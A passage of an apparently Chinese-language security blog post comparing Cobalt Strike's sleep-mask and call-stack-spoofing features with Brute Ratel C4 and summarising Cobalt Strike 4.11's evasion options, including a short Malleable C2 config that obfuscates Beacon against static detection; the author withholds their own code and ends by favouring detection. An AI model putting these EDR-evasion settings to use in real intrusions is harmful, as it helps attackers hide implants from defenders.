src="https://wechat2rss.xlab.app/img-proxy/?k=569e0095&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjCzL1b9Y6NibO9GYXyj9hVOib5eiacyiajISzFbX6eYDMuia3QrKSz2gZxdA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">那么怎么添加堆栈欺骗已经显而易见了</span></p><p nodeleaf=""><img data-imgfileid="100000128" class="rich_pages wxw-img" data-ratio="0.4935185185185185" data-type="png" data-w="1080" data-width="1212" data-height="598" src="https://wechat2rss.xlab.app/img-proxy/?k=e27e4d3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOj01JuKPOSeyaEegEnNFXibOSJdlhWZBtZaWSoBkDbOrdWXeMYOpCsg4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p nodeleaf=""><img data-imgfileid="100000127" class="rich_pages wxw-img" data-ratio="0.6231481481481481" data-type="png" data-w="1080" data-width="1315" data-height="819" src="https://wechat2rss.xlab.app/img-proxy/?k=34c9e2c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjWzcDNyI8Sar6cf8ztEqEabEXngEzaAicHGiaJ2YLVCzd0ZMC6uM6Vl0A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">如果想要使用自定义睡眠函数，只需要修改sleep.cpp即可</span></p><p nodeleaf=""><img data-imgfileid="100000129" class="rich_pages wxw-img" data-ratio="0.6555555555555556" data-type="png" data-w="1080" data-width="1259" data-height="825" src="https://wechat2rss.xlab.app/img-proxy/?k=ca9cfb95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjdoOLmqH9uIacScptCYwNGjaBHMqFNHeBUEKiamTOgNpuic7SRia7Piaxng%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">例如，此处的MySleep() 的实现依赖于对 IO 对象实现等待 ，那么也可以自己塞个Ekko或者Foliage，个人感觉意义不大。</span></p><p nodeleaf=""><img data-imgfileid="100000126" class="rich_pages wxw-img" data-ratio="0.3763837638376384" data-type="png" data-w="813" data-width="813" data-height="306" src="https://wechat2rss.xlab.app/img-proxy/?k=78eeff19&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjDZLBFtfhgmXNddO5bRQUVDIuPYmRPP7j6PazwyjeibERR9EvGUlAEtQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p nodeleaf=""><img data-imgfileid="100000135" class="rich_pages wxw-img" data-ratio="0.4125" data-type="png" data-w="320" data-width="320" data-height="132" src="https://wechat2rss.xlab.app/img-proxy/?k=df2f3e12&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjfJunDHjpwHbU6ywFvsHhogrv6Ca5N0fvaP3GJKCGhly9uq9KgXFTxQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">如果拿BeaconGate和Brute Ratel C4的自定义堆栈帧做对比，我们会发现完全是2个极端：</span></p><ul class="list-paddingleft-1"><li><p><span leaf="">Cobalt Strike是越来越透明支持自定义，让操作员可以做到完全自定义可控，这也是为什么cobalt strike 明明有这么多检测规则，依然无法做到完全检测，水平高的操作员依旧可以利用Cobalt Strike提供的自定义插件规避顶级EDR</span></p></li><li><p><span leaf="">Brute Ratel C4在引入自定义堆栈帧后，表面上自带开箱即用的规避，但是需要用户自行去自定义，那么就意味着你要自己测试，再次又把问题再次抛给了用户，违背了一开始的开箱即用的规避的理念，只能说脚本小子有福了</span></p></li></ul><p><span leaf=""><br/></span></p><p><span leaf="">这几天官方又发布了新文章，对Sleepmask-vs进行了更新，使用clang来编译内敛汇编，彻底提供了傻瓜式 自带开箱即用规避的 Sleep Mask，官方文章</span></p><p><span leaf=""><a href="https://www.cobaltstrike.com/blog/instrumenting-beacon-with-beacongate-for-call-stack-spoofing" target="_blank">https://www.cobaltstrike.com/blog/instrumenting-beacon-with-beacongate-for-call-stack-spoofing</a></span></p><p><span leaf=""><img data-imgfileid="100000133" class="rich_pages wxw-img" data-ratio="1.3787375415282392" data-type="png" data-w="602" data-width="602" data-height="830" src="https://wechat2rss.xlab.app/img-proxy/?k=a77195f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjlRI8g1pgLLDVgxWc893MVqBQ0PB76GW2gU01SyZVf1lEbDcUn2HUpA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><img data-imgfileid="100000132" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="400" data-width="400" data-height="400" src="https://wechat2rss.xlab.app/img-proxy/?k=4bfb928b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOj2mpwVB8GOwSDjKR3bKyKica5aa0FpuSYGiciaNa2pGW6Znn5hM45bN4hA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span leaf="">来自官方的配置图，根据用户选项应用不同的sleepmask，包括默认 Sleep Mask、间接syscall的Sleep Mask、带返回地址欺骗的Sleep Mask（执行X86）、带合成帧的Sleep Mask</span></p><p nodeleaf=""><img data-imgfileid="100000131" class="rich_pages wxw-img" data-ratio="0.3435185185185185" data-type="png" data-w="1080" data-width="1256" data-height="432" src="https://wechat2rss.xlab.app/img-proxy/?k=c767083b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjBqhedBbiay9TiaUEjveIcoTG1YZXWgu8NVHjOvqfBLhkamjf4AKPewhw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">至于具体的效果如何，那不得而知</span></p><p nodeleaf=""><img data-imgfileid="100000134" class="rich_pages wxw-img" data-ratio="0.7066974595842956" data-type="png" data-w="866" data-width="866" data-height="612" src="https://wechat2rss.xlab.app/img-proxy/?k=0a0763e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjpPCNIOxC0eXnyrRm2VZjibLdlsw3RWriaguZI7FYSpLSvibNicqP9pH0fw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">6、Cobalt Strike 4.11 New default Sleep Mask</span></span></h3><p><span leaf="">2025年3月，在Cobalt Strike 4.11版本中，官方添加了一个全新的 Sleep Mask，在之前的版本中，Cobalt Strike 的&#34;evasive sleep&#34;功能已包含在 Arsenal Kit 中，它基于经过修改的开源技术（Ekko），因此需要进行大量定制修改才能与 Beacon 配合使用，全新的Sleep mask将对 Beacon、其堆分配 以及 自身 进行混淆，这意味着 Beacon 在运行时能够抵御静态签名，开箱即用无需任何额外配置。</span></p><p><span leaf="">总结下来就是 Cobalt Strike 4.11提供了一个全新的默认Sleep mask，如果你不具备任何开发能力，那么可以直接使用这个全新的默认Slee pmask，如果不想使用这个默认Sleep mask，那么也可以继续使用Arsenal Kit 中提供的Sleep mask Kit 或者Sleep mask-vs进行自定义开发。</span></p><p><span leaf="">阅读官方的文章，总结如下：</span></p><ul class="list-paddingleft-1"><li><p><span leaf="">针对不具备开发能力的操作员，提供了开箱即用的规避，降低了使用门槛</span></p></li><li><p><span leaf="">针对不想用官网提供的规避的操作员，依旧可以使用插件定制开发属于自己的Cobalt Strike</span></p><p><span leaf=""><br/></span></p></li></ul><p><span leaf="">至于其他的就是将Beacon 的默认反射加载器移植到一个新的 prepend/SRDI 样式加载器中，并添加了几个新的规避功能：</span></p><ul class="list-paddingleft-1"><li><p><span leaf="">EAF 绕过选项，stage.set eaf_bypass “true”</span></p></li><li><p><span leaf="">支持间接系统调用，stage.set rdll_use_syscalls “true”</span></p></li><li><p><span leaf="">支持自动将复杂的混淆程序应用于 Beacon，stage.transform-obfuscate {}</span></p><p><span leaf=""><br/></span></p></li></ul><p><span leaf="">其中 transform-obfuscate 是最大亮点，可以直接混淆Beacon，也就是说现在生成的shellcode是可以直接无视静态查杀的</span></p><p><span leaf="">例如下面的选项将压缩 Beacon ，使用随机的 64 位密钥对其进行rc4 加密，并使用随机的 32 位密钥对其进行 xor 运算，最后再对其进行 base64 编码</span></p><pre style="white-space:pre-wrap;"><div data-lark-language="Bash" data-wrap="true"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><p><span leaf="">stage {</span></p><p><span leaf="">    transform-obfuscate {</span></p><p><span leaf="">        lznt1;</span></p><p><span leaf="">        rc4 “64”;        <span class="code-snippet__comment"># NB The max supported rc4 key size is 128</span></span></p><p><span leaf="">        xor “32”;        <span class="code-snippet__comment"># NB The max supported xor key size is 2048</span></span></p><p><span leaf="">        <span class="code-snippet__built_in">base64</span>;</span></p><p><span leaf="">     }</span></p><p><span leaf="">}</span></p></pre></p><p><span leaf=""><br/></span></p></div></pre><p><span leaf="">至于很详细的还是直接看官方文章（<a href="https://www.cobaltstrike.com/blog/cobalt-strike-411-shh-beacon-is-sleeping）吧，至于什么时候能用上4.11，4.10都还没泄露呢，洗洗睡吧，梦里什么都有。" target="_blank">https://www.cobaltstrike.com/blog/cobalt-strike-411-shh-beacon-is-sleeping）吧，至于什么时候能用上4.11，4.10都还没泄露呢，洗洗睡吧，梦里什么都有。</a></span></p><p nodeleaf=""><img data-imgfileid="100000136" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="400" data-width="400" data-height="400" src="https://wechat2rss.xlab.app/img-proxy/?k=7314f9e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjlK6SIEb2xVZhZjlaGvxAF8LtaxbYFUTPEQf2SfEQKP9VubW1KwI8qg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">三、最终回（闲聊几句）</span></span></h2><p><span leaf="">让我们再次回到Cobalt Strike 4.91，那么根据上面的这些知识，我们可以实现在不启用 evasive sleep mask 情况下实现堆栈欺骗，让我们的堆栈看起来合法</span></p><p><span leaf="">如图：</span></p><p><span leaf="">默认的sleepmask 堆栈，会出现内存地址</span></p><p nodeleaf=""><img data-imgfileid="100000138" class="rich_pages wxw-img" data-ratio="0.4425925925925926" data-type="png" data-w="1080" data-width="1106" data-height="489" src="https://wechat2rss.xlab.app/img-proxy/?k=087f4014&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjJS641KCp52DbvTZFtHibMQxBl1ahCia6FCzoq6fyBvSia8eWibgPYt3Wnw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">修改后的sleepmask 堆栈</span></p><p><span leaf="">Windows 10 效果</span></p><p nodeleaf=""><img data-imgfileid="100000140" class="rich_pages wxw-img" data-ratio="0.3787037037037037" data-type="png" data-w="1080" data-width="1335" data-height="505" src="https://wechat2rss.xlab.app/img-proxy/?k=f92701a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOj8Bx7whCsyuIt6YeFfqhoPNpHicic2mjDCLPerbibBV5KFzRHsazZzFLhQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">Windows 11（</span><span leaf="">evasive_sleep_stack_spoof</span><span leaf="">中自带的堆栈欺骗，在windows 11上不生效）效果</span></p><p nodeleaf=""><img data-imgfileid="100000139" class="rich_pages wxw-img" data-ratio="0.5498392282958199" data-type="png" data-w="933" data-width="933" data-height="513" src="https://wechat2rss.xlab.app/img-proxy/?k=7cccf1a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjoXxhzMUbgVT1TW5ZsIRY7ocT6dibRZwdMuEghyKRqpJKHv0ia8o89DAA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">那么如何修改，相信大家看图就知道了，这里就不给代码了，拒绝伸手党，正所谓自己动手丰衣足食</span></p><p nodeleaf=""><img data-imgfileid="100000137" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="448" data-width="448" data-height="448" src="https://wechat2rss.xlab.app/img-proxy/?k=1747aa7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjic3qoAnxdKKPbicDiaSFBUYiatSAFvbeZBjvedZ812EVgic9j6hRSUjfolA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;">写在最后</span></span></p><p><span leaf="">如果上个线就是免杀了，那么人均都是免杀大师，这个吊圈子就这样，上个线就是过了，演示嘎嘎过，实战落地没。</span></p><p><span leaf="">对抗终是末路，检测才是王道。</span></p><p><span leaf="">比如说某检测规则，可以做到通杀国内95%以上只会写Loader的脚本小子以及他们用的所谓的二开CS。如图，是不是感受到来自最新天擎的恐惧了</span></p><p><span leaf=""><img class="rich_pages wxw-img" data-backh="339" data-backw="510" data-height="339" data-imgfileid="100000141" data-ratio="0.6647058823529411" style="width:100%;" data-type="png" data-w="510" data-width="510" src="https://wechat2rss.xlab.app/img-proxy/?k=1e823cc3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjQyibCDJxjOuRDj3csImNn9YeEruF2Yr37K40VEvFibnDZiakVnawZH8Sg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><img data-imgfileid="100000142" class="rich_pages wxw-img" data-ratio="0.9566666666666667" data-type="png" data-w="300" data-width="300" data-height="287" src="https://wechat2rss.xlab.app/img-proxy/?k=01432e02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjNFzq8UHnF0VtcvoPzkOzQFOJ6juHpp7ibroicXib8ysN4JdPhZib2lLrxQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p data-pm-slice="0 0 []"><span leaf="">至于怎么<span textstyle="" style="font-weight: bold;">检测Sleep Mask</span>，相信聪明的你已经想到了</span></p><p nodeleaf=""><img data-imgfileid="100000143" class="rich_pages wxw-img" data-ratio="0.8522727272727273" data-type="png" data-w="440" data-width="440" data-height="375" src="https://wechat2rss.xlab.app/img-proxy/?k=e3129d15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TWMILphUsaAB4KcROs0hC59wFBED1jMJ6vH8STSmfDrByXDQwdvdBAOK9gWQC8f6UR9RjrNZ2Mjw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><br/></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0bf4ba4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjGAUUUMibxqKMeGXI3I8ql83DbZBR5gbm8qU3gs7iaEibSwhaPtSvzxYQA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9d179461&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjU3IPiatWEtH3c3bsYvibrBnKlF0ntGv2JVeUVbZYAOoT0KlgsFk1Ajgw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5a4e6b9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjA8021A535wd0h1ibd9LSBZAJoRZQlPeselE5PQg9oZzfHzZSsZytvIg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2bcf483a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjN6sIJ0cJBNjKXpGGnvSC9w2RtXUzib1pcsicXT8m9Cwo66XRTibZ799iaw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e73b55dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjJn2HzseTJAqNjMEv4wboia9RD4jLOVaguicOPZjZPhiav3CAp0UfkNTUw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=35e3ce02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjm57ZXKwgmTM3I5p6V9CNZkVj5jAiafRU5fO3bKI7MHj9G825hhYgULw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c8f063c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjv3r3tm2kYibWGjtq3cSkIw3wMsFe9l2HzDwhmSLJ1HwDgjsrgicS9xwQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=13fe83bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjsKfeyicVG1kTrBD9XS17uE9fjrYe4iat1aOSMqugY45EUKAmA4eIESZQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c1b8c4c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjBOfHLfCCYSujz5z5QnOj9hibJNbybwy27h7Gen6jbT9fuRaqiarNgLpA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f5470f15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOj2qkV5TyQ8oeX6VSF1Skj0aJoY4R0ggUyEeiafnxtboryMyLgskUnNzA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c99e2403&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjs5dlQ1ChjeDBLFbWq0F63iaNazMl0DeMm3B5rbnXY0Iian9fGY9riaLDQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=dd4822bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjxJ3veMUVBL44Kmgv8qs4egtFah67Z9DUWMf8MCGG86rLLCyaWyCoJA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7a6b1b59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjDkApqpibOj9XXdwBVMJ4dm49NJdO3Rwsic04lZ4EE1zMsmq4s7Gcmy6g%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=22d265af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjVhZ5icCMwgjxfYYPs5rLMR2A3e3GRWJJWr933KSyGtbk06avCUJdbYA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=32f49e59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjuGmC6mN8L7AiaxGcTib9bib8LnWW3bibaGNwI0477hureFuBNJ2CZV54Jg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2506fe6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjKsqW825xfuAUVOvxUo0XtRWPGsiaTjGd1mrvyHyne4cNQLOq37QOL7w%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b55c546d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjplRVYEazJTd6kNcIYhjPcIEhCe7lzu7gpcPyu5iaqfZL6MZFrZLghQA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=343c58f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjiaQ8hsZBGpiaBR2FITntd7XZmMvyXfP7NJib2JqcibRBbUbJ97XoCuKkrA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0c5529be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjVfWhQ1n1hCvicSg23TCqfwx8ZtFJWxUSIVZIkLDyK91PsMeiao9zOvRQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b7f604ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjPSoqVZaibN9645WjaKyqmVQjiaicGAKK9W4kjdHGWibsiaroHnqZlpWCMmA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=61208fbe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOj2IkLtpTE3UHHHNaVtLYYDWdefgOUibp7ibXrpGgo4fyJFrN9g7xI7tvg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0242532a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjWUNofoNyTtqibMB9fwMPODibkiadwmXHP74grfibEMvy4KWJKcBXlbHsAw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7d03dcdb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjx42KZn3iaMgdoejgn2OTnm0SWAicMC9J4pqkuXl7h2GqpkABLOJk2YRw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9ecb9d01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjgCE2icN3gv17ZwzQjibhX9ibqUn1Btsfh8WDRB6G7L9xVicoBRgjXUqSNQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c8edcea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjx9n8cmyiaxQaibxakQ6SUVlI0buwId6icvibbWIkNcn1y27r5pouxeZa0w%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0f023a8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjON3ibFVVQpEWubURomQE4tn3nTliahZpLh2v7VUVMGjG2OccIiaA2j7FA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=39730ebf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjCzL1b9Y6NibO9GYXyj9hVOib5eiacyiajISzFbX6eYDMuia3QrKSz2gZxdA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6e7cbc71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOj01JuKPOSeyaEegEnNFXibOSJdlhWZBtZaWSoBkDbOrdWXeMYOpCsg4w%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5d5b3e0f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjWzcDNyI8Sar6cf8ztEqEabEXngEzaAicHGiaJ2YLVCzd0ZMC6uM6Vl0A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4c7b0792&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjdoOLmqH9uIacScptCYwNGjaBHMqFNHeBUEKiamTOgNpuic7SRia7Piaxng%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f84c8ad8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjDZLBFtfhgmXNddO5bRQUVDIuPYmRPP7j6PazwyjeibERR9EvGUlAEtQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d0792ee0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjfJunDHjpwHbU6ywFvsHhogrv6Ca5N0fvaP3GJKCGhly9uq9KgXFTxQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3c278740&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjlRI8g1pgLLDVgxWc893MVqBQ0PB76GW2gU01SyZVf1lEbDcUn2HUpA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5f1d8654&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOj2mpwVB8GOwSDjKR3bKyKica5aa0FpuSYGiciaNa2pGW6Znn5hM45bN4hA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f9a656d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjBqhedBbiay9TiaUEjveIcoTG1YZXWgu8NVHjOvqfBLhkamjf4AKPewhw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7b1d4a63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjpPCNIOxC0eXnyrRm2VZjibLdlsw3RWriaguZI7FYSpLSvibNicqP9pH0fw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=47a99f44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjlK6SIEb2xVZhZjlaGvxAF8LtaxbYFUTPEQf2SfEQKP9VubW1KwI8qg%2F640%3Fwx_fmt%3Dpng"/></p>
